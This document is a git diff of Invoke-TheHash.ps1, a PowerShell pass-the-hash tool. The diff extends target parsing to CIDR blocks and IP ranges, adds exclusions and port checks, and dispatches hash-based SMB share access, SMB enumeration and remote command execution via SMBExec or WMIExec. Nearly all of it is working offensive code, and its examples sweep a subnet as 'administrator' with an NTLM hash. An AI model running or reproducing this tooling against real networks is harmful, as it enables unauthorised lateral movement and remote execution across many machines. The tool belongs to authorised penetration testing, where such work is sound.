aboutsummaryrefslogtreecommitdiff
path: root/Invoke-TheHash.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Invoke-TheHash.ps1')
-rw-r--r--Invoke-TheHash.ps1363
1 files changed, 239 insertions, 124 deletions
diff --git a/Invoke-TheHash.ps1 b/Invoke-TheHash.ps1
index ce64c51..8a3614c 100644
--- a/Invoke-TheHash.ps1
+++ b/Invoke-TheHash.ps1
@@ -3,20 +3,22 @@ function Invoke-TheHash
<#
.SYNOPSIS
Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is
-primarily for checking a hash against multiple systems. The function can also be used to execute commands
-on multiple systems. Note that in most cases it's advisable to just open a single shell and then use other tools
-from within that session.
+primarily for checking a hash against multiple systems. The function can also be used to perform other tasks
+against multiple hosts.
+
+Author: Kevin Robertson (@kevin_robertson)
+License: BSD 3-Clause
.PARAMETER Type
-Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec.
+(SMBClient/SMBEnum/SMBExec/WMIExec) Sets the desired Invoke-TheHash function.
-.PARAMETER Targets
-List of hostnames, IP addresses, or CIDR notation for targets.
+.PARAMETER Target
+List of hostnames, IP addresses, CIDR notation, or IP ranges for targets.
-.PARAMETER TargetsExclude
-List of hostnames and/or IP addresses to exclude form the list or targets. Note that the format
-(hostname vs IP address) must match the format used with the Targets parameter. For example, if the host was added
-to Targets within a CIDR notation, it must be excluded as an IP address.
+.PARAMETER TargetExclude
+List of hostnames, IP addresses, CIDR notation, or IP ranges to exclude form the list or targets. Note that the
+format (hostname vs IP address) must match the format used with the Targets parameter. For example, if the host
+was added to Targets within a CIDR notation, it must be excluded as an IP address and not a host name.
.PARAMETER PortCheckDisable
(Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up
@@ -40,13 +42,15 @@ Command to execute on the target. If a command is not specified, the function wi
.PARAMETER CommandCOMSPEC
Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command.
+.PARAMETER Action
+(All,Group,NetSession,Share,User) Default = Share: SMBEnum enumeration action to perform.
+
+.PARAMETER Group
+Default = Administrators: Group to enumerate with SMBEnum.
+
.PARAMETER Service
Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target.
-.PARAMETER SMB1
-(Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the
-target.
-
.PARAMETER Sleep
Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
setting if you are experiencing strange results.
@@ -55,35 +59,33 @@ setting if you are experiencing strange results.
Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
.EXAMPLE
-$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
-$target_list = ConvertTo-TargetList $target_output
-Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
+Invoke-TheHash -Type SMBExec -Targets 192.168.100.1-100 -TargetsExclude 192.168.100.50 -Username user1 -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -domain test
.LINK
https://github.com/Kevin-Robertson/Invoke-TheHash
#>
-[CmdletBinding()]
+[CmdletBinding(DefaultParametersetName='Default')]
param
(
- [parameter(Mandatory=$true)][Array]$Targets,
- [parameter(Mandatory=$false)][Array]$TargetsExclude,
- [parameter(Mandatory=$true)][String]$Username,
- [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$true)][Array]$Target,
+ [parameter(Mandatory=$false)][Array]$TargetExclude,
+ [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username,
+ [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Action = "All",
+ [parameter(Mandatory=$false)][String]$Group = "Administrators",
[parameter(Mandatory=$false)][String]$Service,
[parameter(Mandatory=$false)][String]$Command,
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y",
- [parameter(Mandatory=$true)][ValidateSet("SMBExec","WMIExec")][String]$Type,
+ [parameter(Mandatory=$true)][ValidateSet("SMBClient","SMBEnum","SMBExec","WMIExec")][String]$Type,
[parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100,
- [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
+ [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
[parameter(Mandatory=$false)][Switch]$PortCheckDisable,
- [parameter(Mandatory=$false)][Int]$Sleep,
- [parameter(Mandatory=$false)][Switch]$SMB1
+ [parameter(Mandatory=$false)][Int]$Sleep
)
$target_list = New-Object System.Collections.ArrayList
-$target_list_singles = New-Object System.Collections.ArrayList
-$target_list_subnets = New-Object System.Collections.ArrayList
+$target_exclude_list = New-Object System.Collections.ArrayList
if($Type -eq 'WMIExec')
{
@@ -94,150 +96,263 @@ else
$Sleep = 150
}
-# subnet parsing code borrowed heavily from Rich Lundeen's Invoke-Portscan
-foreach($target in $Targets)
+for($i=0;$i -lt $target.Count;$i++)
{
- if($target.contains("/"))
+ if($target[$i] -like "*-*")
{
- $target_split = $target.split("/")[0]
- [uint32]$subnet_mask_split = $target.split("/")[1]
-
- $target_address = [System.Net.IPAddress]::Parse($target_split)
+ $target_array = $target[$i].split("-")
- if($subnet_mask_split -ge $target_address.GetAddressBytes().Length * 8)
+ if($target_array[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and
+ $target_array[1] -notmatch "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
{
- throw "Subnet mask is not valid"
+
+ if($target_array.Count -ne 2 -or $target_array[1] -notmatch "^[\d]+$" -or $target_array[1] -gt 254)
+ {
+ Write-Output "[!] Invalid target $($target[$i])"
+ throw
+ }
+ else
+ {
+ $IP_network_begin = $target_array[0].ToCharArray()
+ [Array]::Reverse($IP_network_begin)
+ $IP_network_begin = -join($IP_network_begin)
+ $IP_network_begin = $IP_network_begin.SubString($IP_network_begin.IndexOf("."))
+ $IP_network_begin = $IP_network_begin.ToCharArray()
+ [Array]::Reverse($IP_network_begin)
+ $IP_network_begin = -join($IP_network_begin)
+ $IP_range_end = $IP_network_begin + $target_array[1]
+ $target[$i] = $target_array[0] + "-" + $IP_range_end
+ }
+
}
- $target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split))
+ }
- $target_start_address = $target_address.GetAddressBytes()
- [array]::Reverse($target_start_address)
+}
- $target_start_address = [System.BitConverter]::ToUInt32($target_start_address,0)
- [uint32]$target_subnet_mask_start = ([System.math]::Pow(2, $subnet_mask_split)-1) * ([System.Math]::Pow(2,(32 - $subnet_mask_split)))
- $target_start_address = $target_start_address -band $target_subnet_mask_start
+# math taken from https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b
- $target_start_address = [System.BitConverter]::GetBytes($target_start_address)[0..3]
- [array]::Reverse($target_start_address)
+function Convert-RangetoIPList
+{
+ param($IP,$CIDR,$Start,$End)
- $target_address = [System.Net.IPAddress] [byte[]] $target_start_address
+ function Convert-IPtoINT64
+ {
+ param($IP)
+
+ $octets = $IP.split(".")
+
+ return [int64]([int64]$octets[0] * 16777216 + [int64]$octets[1]*65536 + [int64]$octets[2] * 256 + [int64]$octets[3])
+ }
+
+ function Convert-INT64toIP
+ {
+ param ([int64]$int)
+ return (([math]::truncate($int/16777216)).tostring() + "." +([math]::truncate(($int%16777216)/65536)).tostring() + "." + ([math]::truncate(($int%65536)/256)).tostring() + "." +([math]::truncate($int%256)).tostring())
+ }
- $target_list_subnets.Add($target_address.IPAddressToString) > $null
+ $target_list = New-Object System.Collections.ArrayList
+
+ if($IP)
+ {
+ $IP_address = [System.Net.IPAddress]::Parse($IP)
+ }
- for ($i=0; $i -lt $target_count-1; $i++)
- {
- $target_next = $target_address.GetAddressBytes()
- [array]::Reverse($target_next)
- $target_next = [System.BitConverter]::ToUInt32($target_next,0)
- $target_next ++
- $target_next = [System.BitConverter]::GetBytes($target_next)[0..3]
- [array]::Reverse($target_next)
-
- $target_address = [System.Net.IPAddress] [byte[]] $target_next
- $target_list_subnets.Add($target_address.IPAddressToString) > $null
- }
+ if($CIDR)
+ {
+ $mask_address = [System.Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2))))
+ }
- $target_list_subnets.RemoveAt(0)
- $target_list_subnets.RemoveAt($target_list_subnets.Count - 1)
+ if($IP)
+ {
+ $network_address = New-Object System.Net.IPAddress ($mask_address.address -band $IP_address.address)
+ }
+ if($IP)
+ {
+ $broadcast_address = New-Object System.Net.IPAddress (([System.Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address))
+ }
+
+ if($IP)
+ {
+ $start_address = Convert-IPtoINT64 -ip $network_address.IPAddressToString
+ $end_address = Convert-IPtoINT64 -ip $broadcast_address.IPAddressToString
}
else
+ {
+ $start_address = Convert-IPtoINT64 -ip $start
+ $end_address = Convert-IPtoINT64 -ip $end
+ }
+
+ for($i = $start_address; $i -le $end_address; $i++)
+ {
+ $IP_address = Convert-INT64toIP -int $i
+ $target_list.Add($IP_address) > $null
+ }
+
+ if($network_address)
{
- $target_list_singles.Add($target) > $null
+ $target_list.Remove($network_address.IPAddressToString)
}
+ if($broadcast_address)
+ {
+ $target_list.Remove($broadcast_address.IPAddressToString)
+ }
+
+ return $target_list
}
-$target_list.AddRange($target_list_singles)
-$target_list.AddRange($target_list_subnets)
-
-foreach($target in $TargetsExclude)
+function Get-TargetList
{
- $target_list.Remove("$Target")
-}
+ param($targets)
-foreach($target in $target_list)
-{
+ $target_list = New-Object System.Collections.ArrayList
- if($type -eq 'WMIExec')
+ ForEach($entry in $targets)
{
+ $entry_split = $null
- if(!$PortCheckDisable)
+ if($entry.contains("/"))
{
- $WMI_port_test = New-Object System.Net.Sockets.TCPClient
- $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null)
- $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
- $WMI_port_test.Close()
+ $entry_split = $entry.Split("/")
+ $IP = $entry_split[0]
+ $CIDR = $entry_split[1]
+ $target_list.AddRange($(Convert-RangetoIPList -IP $IP -CIDR $CIDR))
}
-
- if($WMI_port_test_success -or $PortCheckDisable)
+ elseif($entry.contains("-"))
{
- Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep
+ $entry_split = $entry.Split("-")
+
+ if($entry_split[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and
+ $entry_split[1] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
+ {
+ $start_address = $entry_split[0]
+ $end_address = $entry_split[1]
+ $target_list.AddRange($(Convert-RangetoIPList -Start $start_address -End $end_address))
+ }
+ else
+ {
+ $target_list.Add($entry) > $null
+ }
+
}
-
- }
- elseif($Type -eq 'SMBExec')
- {
-
- if(!$PortCheckDisable)
+ else
{
- $SMB_port_test = New-Object System.Net.Sockets.TCPClient
- $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null)
- $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
- $SMB_port_test.Close()
+ $target_list.Add($entry) > $null
}
- if($SMB_port_test_success -or $PortCheckDisable)
- {
- Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -smb1:$smb1 -sleep $Sleep
- }
-
}
-
+
+ return $target_list
}
+$target_list = Get-TargetList $Target
+
+if($TargetExclude)
+{
+ $target_exclude_list = Get-TargetList $TargetExclude
+ $target_list = Compare-Object -ReferenceObject $target_exclude_list -DifferenceObject $target_list -PassThru
}
-function ConvertTo-TargetList
+if($target_list.Count -gt 0)
{
-<#
-.SYNOPSIS
-ConvertTo-TargetList converts an Invoke-TheHash output array to an array that contains only targets discovered to
-have Invoke-WMIExec or Invoke-SMBExec access. The output of this function can be passed back into Invoke-TheHash
-through the Targets parameter.
-.PARAMETER $OutputArray
-The output array returned by Invoke-TheHash.
+ foreach($target in $target_list)
+ {
+ Write-Verbose "[*] Targeting $target"
-.EXAMPLE
-$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
-$target_list = ConvertTo-TargetList $target_output
-Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
+ if($type -eq 'WMIExec')
+ {
-.LINK
-https://github.com/Kevin-Robertson/Invoke-TheHash
+ if(!$PortCheckDisable)
+ {
+ $WMI_port_test = New-Object System.Net.Sockets.TCPClient
+ $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null)
+ $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
+ $WMI_port_test.Close()
+ }
-#>
+ if($WMI_port_test_success -or $PortCheckDisable)
+ {
+ Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep -Verbose:$VerbosePreference
+ }
-[CmdletBinding()]
-param ([parameter(Mandatory=$true)][Array]$Invoke_TheHash_Output)
+ }
+ elseif($Type -like 'SMB*')
+ {
-$target_list = New-Object System.Collections.ArrayList
+ if(!$PortCheckDisable)
+ {
+ $SMB_port_test = New-Object System.Net.Sockets.TCPClient
+ $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null)
+ $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
+ $SMB_port_test.Close()
+ }
-foreach($target in $ITHOutput)
-{
-
- if($target -like "* on *" -and $target -notlike "* denied *" -and $target -notlike "* failed *" -and $target -notlike "* is not *")
- {
- $target_index = $target.IndexOf(" on ")
- $target_index += 4
- $target = $target.SubString($target_index,($target.Length - $target_index))
- $target_list.Add($target) > $null
- }
+ if($SMB_port_test_success -or $PortCheckDisable)
+ {
+
+ switch($Type)
+ {
+
+ 'SMBClient'
+ {
+ $source = "\\" + $target + "\c$"
+
+ if($PsCmdlet.ParameterSetName -eq 'Auth')
+ {
+ Invoke-SMBClient -username $Username -domain $Domain -hash $Hash -source $source -sleep $Sleep -Verbose:$VerbosePreference
+ }
+ else
+ {
+ Invoke-SMBClient -source $source -sleep $Sleep -Verbose:$VerbosePreference
+ }
+
+ }
+
+ 'SMBEnum'
+ {
+
+ if($PsCmdlet.ParameterSetName -eq 'Auth')
+ {
+ Invoke-SMBEnum -username $Username -domain $Domain -hash $Hash -target $target -sleep $Sleep -Action $Action -TargetShow -Verbose:$VerbosePreference
+ }
+ else
+ {
+ Invoke-SMBEnum -target $target -sleep $Sleep -Verbose:$VerbosePreference
+ }
+
+ }
+
+ 'SMBExec'
+ {
+
+ if($PsCmdlet.ParameterSetName -eq 'Auth')
+ {
+ Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -sleep $Sleep -Verbose:$VerbosePreference
+ }
+ else
+ {
+ Invoke-SMBExec -target $target -sleep $Sleep -Verbose:$VerbosePreference
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+}
+else
+{
+ Write-Output "[-] Target list is empty"
}
-return $target_list
}